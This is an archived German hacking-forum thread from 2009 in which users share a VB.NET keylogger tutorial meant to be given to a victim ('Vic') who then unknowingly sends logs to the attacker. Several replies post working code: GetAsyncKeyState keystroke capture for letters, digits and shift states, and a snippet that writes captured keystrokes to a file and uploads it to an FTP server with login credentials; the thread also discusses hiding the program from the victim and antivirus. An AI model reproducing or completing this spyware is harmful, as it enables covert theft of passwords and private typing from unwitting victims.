PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [b][vb.net]ftp keylogger



Solaro
22.03.2009, 12:37
Sooo
Da ist es endlich Tutorial 1/3 wie man sich mit visual basic 2008 ein Keylogger bastelt.

Was kann der alles / wie funktionierts ??
Es sind insgesammt 4 Programme. Programm 1-3 werden zu einem "verschmolzen" ^^ Dieses bekommt euer Vic das euch dann auch die Daten sendet , ihr werdet unteranderem (programm 4) dann die Daten in einem Manager zu gesendet bekommen. Mehr infos im Video.

Was brauche ich ?
Ihr solltet aufjeden fall mit vb garbeitet haben und selber nen nützlichen code auf die reihe bekommen , haltet das video bitte an um euch es selber dann ins vb zu schreiben ich lass nich extra lücken das ihr schnell ins vb switchen könnt^^.

- Microsoft´s Visual basic 2008 Express edition
- Einen Ftp Server (www.funpic.de , www.ohost.com)

TUTORIALS
Video1. = Programm 1 ( der die Tasten logt) + code.txt + Mein logo ;P = 12 Mb groß LINK : http://rapidshare.com/files/212140488/Keylogger_1.rar

Video 2. = folgt noch

Video 3. = folgt noch

g4$one
22.03.2009, 12:40
cool vielen dank
werde es mir mal anschauen

EDIT: Tut ist echt klasse geworden alles gut und sauber beschrieben und erklärt.

bugyc66
22.03.2009, 12:42
Hmm oke Naja ich kann zwar kein vb.net aber anschauen werde ichs mir mal

Solaro
22.03.2009, 12:42
Jo ;PP
xDD sry die code.txt is irgentwie leer nich dran gedacht aber kann man ja auch abschreiben ^^ Falls was nich klappt einfach rein schreiben gibt dann pm , 2tes Video wird grade gedreht erwartet es spätestens gegen 14 uhr

PAN
22.03.2009, 13:00
iss 14 Uhr ^^

ghosty
22.03.2009, 13:16
Also ich finde aber der Interval vom Timer1 ist viel zu niedrig xD...
Da werden bei mir die Buchstaben wenn ich einmal a drücke 10 mla geschrieben lol.

________

Kann mir vlt jemand sagen wie das hier richtig geht^^?

If GetAsyncKeyState(Keys.ShiftKey and Keys.Q) Then
Label1.Text = Label1.Text + "Q"
End If

Also das wenn man Shift und q drückt der Buchstabe groß geschrieben wird :D?

(achso und n1 TUT :D)

blackberry
22.03.2009, 13:46
Gut:
- Sprache
- einiges wurde auch erklährt
- du hast das ganze auch vorgeführt

Weniger gut:
- z.B. "wichtig ist bei timer1, den müsst ihr auf 10 stellen" (frei aus dem Kopf zitiert) - wo du was verstellt hast ist nicht sichtbar (das sollte für einen VB Programmierer zwar klar sein, aber für Leute, wie mich, die sich das nur so zum Spaß ansehen und kein VB installiert haben, ist das nicht direkt ersichtlich)
- Copy&Paste
- die Zahl, mit der du den Rückgabewert von GetAsyncKeyState vergleichst hast du nicht hergeleitet ( siehe http://msdn.microsoft.com/en-us/library/ms646293(VS.85).aspx bei "Return Value" )
- die riesen "If GetAsync...(Key.A-Z) = ... Then"-Menge ist sehr anfängermäßig! Ein richtiger Programmierer würde die einzelnen Tastennummern und deren zugehäroge Strings in einem Array ablegen und diesen dann von einer Schleife abarbeiten lassen!
(genau genommen würde ein richtiger Programmierer Hooks benutzen, aber das lassen wir mal außer Acht!)
- die Methode das Programm zu verstecken ist etwas simpel aufgebaut und wirkt auch nicht wirklich gut
- jede gute Antivirensoftware wird das Programm als Keylogger erkennen!
- My.Computer.FileSystem.WriteAllText(file As String, text As String, append As Boolean) - append (engl.) = anfügen - bitte richtig erkähren - dein "soll er die jetzt mehrmals hintereinander schreiben" klingt so als ob die Funktion den Parameter text mehrmals schreiben würde (was ja nicht direkt der Fall ist, da der Text sich zwischen den aufrufen ständig ändert!)

ghosty
22.03.2009, 13:56
LOL dafür das du das nur zum spaß anshaust, haste aber voll den Plan xD

Code-C4
22.03.2009, 14:00
ich finds am geilsten wo du zum schluss sagst : " ja also den Code gebe ich euch mit in eine txt , Ich will jetzt nicht das ihr ihn rauskopiert sondern es versteht... Ich mein ich habe ihn auch selber geschrieben! " HAHA XD da hatte ich ur den appäcker....
1. Keylogger1_code.txt (0KB) hinterlassen XDDD
2. Du hast den code doch auch aus deine txt rauskopiert

aber sonst für anfänger ehh gut...


mfg. Code-C4

Solaro
22.03.2009, 14:06
@ BlackBerry : Ja wenn du nochn Anfänger bist dann beschäftige dich lieber mit was anderem ^^ Das meinte ich man soll n bissi erfahrung haben um den timer usw selber einzustellen

@Code-C4 : Lass mich doch habe Fieber und versuche hier nen gutes tut auf die Reihe zu bekomm xDD und auserdem meinte ich das ich es eig. das tut in schriftlicher form reinsetzen wollte ja nun doch video und deswegen die vorschrift^^ Ja klar is es fuer anfänger gut nur die idee mit dem Manager ( 4tes Programm ) is dann schmakofatz^^

UPDATE : 2tes Video läd grade rapidshare hoch^^

blackberry
22.03.2009, 14:15
LOL dafür das du das nur zum spaß anshaust, haste aber voll den Plan xD

Von VB? Nein - das ist Jahre her und vertieft habe ich das nie besonders.
Ich bin relativ schnell auf PHP, C und C++ umgestiegen.


@ BlackBerry : Ja wenn du nochn Anfänger bist dann beschäftige dich lieber mit was anderem ^^ Das meinte ich man soll n bissi erfahrung haben um den timer usw selber einzustellen

Wie oben schon erwähnt, habe ich ein (ganz kleines) bisschen VB Erfahrung (damals noch VB2005) und kann mir vorstellen was du meinst.
Die Kritik galt in erster Linie der Kameraführung - Camtasia hat da ja einiges zu bieten!


UPDATE : 2tes Video läd grade rapidshare hoch^^

Stichpunktzettel fertig?
Kritik berücksichtigt?
:)

ghosty
22.03.2009, 16:52
Dauert es noch lange^^?
Ich mein wenn du vor knapp 3 h angefangen hast zu uppen?

Code-C4
22.03.2009, 16:55
lol XD ich meine er is off
wenn er off ist geht das net so gut

Tariaky
22.03.2009, 20:18
Jetzt ist er online, wann folgt denn Version zwei endlich?

g4$one
22.03.2009, 20:38
ONLINE!!! Juhu
jetzt nur noch schnell bei raipid den Link kopieren hier einfügen und dann kommen wir zum Einsatz ---> DOWNLOADEN!!!

Solaro
22.03.2009, 20:41
Leute es is nich so einfach xD
Rapidshare wollte mir grade sagen das er 185 stunden brauchen emmm... 0.o
Ich habe einige Probleme aber zurnot wirds schriftlich nachgereicht also bei
2tes Video wird wohl schrift lich als notepade download^^
Ps : sitz grade drann
mfg Kevin14w.

blackberry
22.03.2009, 21:17
Es gibt auch noch andere FileHoster!

till7
22.03.2009, 21:37
http://board.gulli.com/thread/448140-liste-fr-1-klick-filehoster/

oder einfach: upladoet.to

ghosty
23.03.2009, 11:45
Kann mir vlt jemand sagen wie das hier richtig geht^^?

If GetAsyncKeyState(Keys.ShiftKey and Keys.Q) Then
Label1.Text = Label1.Text + "Q"
End If

Also das wenn man Shift und q drückt der Buchstabe groß geschrieben wird :D?

Hat noch niemand geholfen :D

DarkFire
23.03.2009, 12:03
If GetAsyncKeyState(Keys.A) = -32767 Then
If My.Computer.Keyboard.ShiftKeyDown = True Then
Label1.Text = Label1.Text + "A"
Else
Label1.Text = Label1.Text + "a"
End If
End If

ghosty
23.03.2009, 12:08
If GetAsyncKeyState(Keys.A) = -32767 Then
If My.Computer.Keyboard.ShiftKeyDown = True Then
Label1.Text = Label1.Text + "A"
Else
Label1.Text = Label1.Text + "a"
End If
End If

Öhmmmm :D
Geht nicht wirklich? ô.Ó

DarkFire
23.03.2009, 12:11
Ähm.. doch...

g4$one
23.03.2009, 13:24
geht wirklich vielen dank

wollte mal fragen wann das 2. Tutorial rauskommt

Tariaky
27.03.2009, 13:41
Läuft dein Internet über einen Hamster im Laufrad oder wieso brauchst du Tage um es hochzuladen?

ghosty
27.03.2009, 13:43
Weil er nen Real Life hat und er noch Krank ist...

Tariaky
29.03.2009, 19:58
Langsam wird es peinlich, du postet nebenbei in andere Threads, uploadest schon seit über 7 Tagen und reagierst auf keine privat Nachrichten. Komm schon, ich hät gerne den zweiten Teil des Tutorials, dass erste war schon klasse :(

g4$one
14.04.2009, 15:07
Wird das eig noch was? Ich warte schon ca. eine Woche auf das 2. Video Wenn du es nicht hinbekommst dann schreib es doch rein. mfg g4$0N3

Imperial
14.04.2009, 15:23
Hmm bin voll gespannt, hoffentlch wird das noch was

gustav
14.04.2009, 15:37
Dann wartet doch auch mal und spammt nicht immer

Tariaky
21.04.2009, 17:10
Er reagiert auf keine Nachricht, auf keine Anfragen in einem anderen Thread und hier schaut er gar nicht mehr rein, der Thread kann eigentlich geschlossen werden.

inmate
22.04.2009, 16:28
OMG dann lasst ihn doch!!!

Warum seit ihr jetzt sauer auf ihn den rest des Tuts kann man sich doch wohl denken -.-
wenn ihr das nochnichmals hinbekommt dann lasst es am besten kommplett :/


mfG

inmate

DarkFire
22.04.2009, 16:46
Damit ihr jetzt alle eure 1337 l3€t Keylogger schreiben könnt.

Dim Datei As System.IO.StreamWriter = System.IO.File.CreateText("C:\Keylogger.txt")
Datei.WriteLine(Label1.Text)
Datei.Close()

Dim Ort As String = "C:\Keylogger.txt"
Dim Ftp As String = "Mein ftp blabla"
Dim Name As String = "VicLog.txt"
Dim User As String = "LeetR0Xor"
Dim Password As String "1234"

My.Computer.Network.UploadFile(Ort, "ftp://" & Ftp & "/" & Name, User, Password)

ghosty
22.04.2009, 16:50
Damit ihr jetzt alle eure 1337 l3€t Keylogger schreiben könnt.

Dim Datei As System.IO.StreamWriter = System.IO.File.CreateText("C:\Keylogger.txt")
Datei.WriteLine(Label1.Text)
Datei.Close()

Dim Ort As String = "C:\Keylogger.txt"
Dim Ftp As String = "Mein ftp blabla"
Dim Name As String = "VicLog.txt"
Dim User As String = "LeetR0Xor"
Dim Password As String "1234"

My.Computer.Network.UploadFile(Ort, "ftp://" & Ftp & "/" & Name, User, Password)

Jo echt Nett von dir auch wenn ichs nicht brauch xD.

1337 l3€t LOL

aspire™
04.05.2009, 21:07
Wie geht das mit Zahlen ? Das er wenn einer Zahlen ausgibt es auf label1.text erscheint?

DarkFire
04.05.2009, 21:20
Buchstaben:


If GetAsyncKeyState(Keys.A) = -32767 Then
If My.Computer.Keyboard.ShiftKeyDown = True Then
Label1.Text = Label1.Text + "A"
Else
Label1.Text = Label1.Text + "a"
End If
End If

Zahlen:
If GetAsyncKeyState(Keys.D0) = -32767 Then
If My.Computer.Keyboard.ShiftKeyDown = True Then
Label1.Text = Label1.Text + "="

Else
Label1.Text = Label1.Text + "0"

End If
End If

If GetAsyncKeyState(Keys.D1) = -32767 Then
If My.Computer.Keyboard.ShiftKeyDown = True Then
Label1.Text = Label1.Text + "!"

Else
Label1.Text = Label1.Text + "1"

End If
End If

If GetAsyncKeyState(Keys.NumPad0) = -32767 Then
Label1.Text = Label1.Text + "0"

End If

If GetAsyncKeyState(Keys.NumPad1) = -32767 Then
Label1.Text = Label1.Text + "1"

End If

Th3_Cr4xX
03.06.2009, 15:00
part2 ? ^^

btw wie mach ich ein @ ?


If GetAsyncKeyState(Keys.Control + Keys.Alt + Keys.Q) = -32767 Then
Label1.Text = Label1.Text + "@"
End If


Hab ich versucht, heraus kommt wieder ein "q"

DarkFire
06.06.2009, 19:56
If GetAsyncKeyState(Keys.RMenu) = -32767 And GetAsyncKeyState(Keys.Q) = -32767 Then

Nicht gestestet =/ sollte aber gehen ;)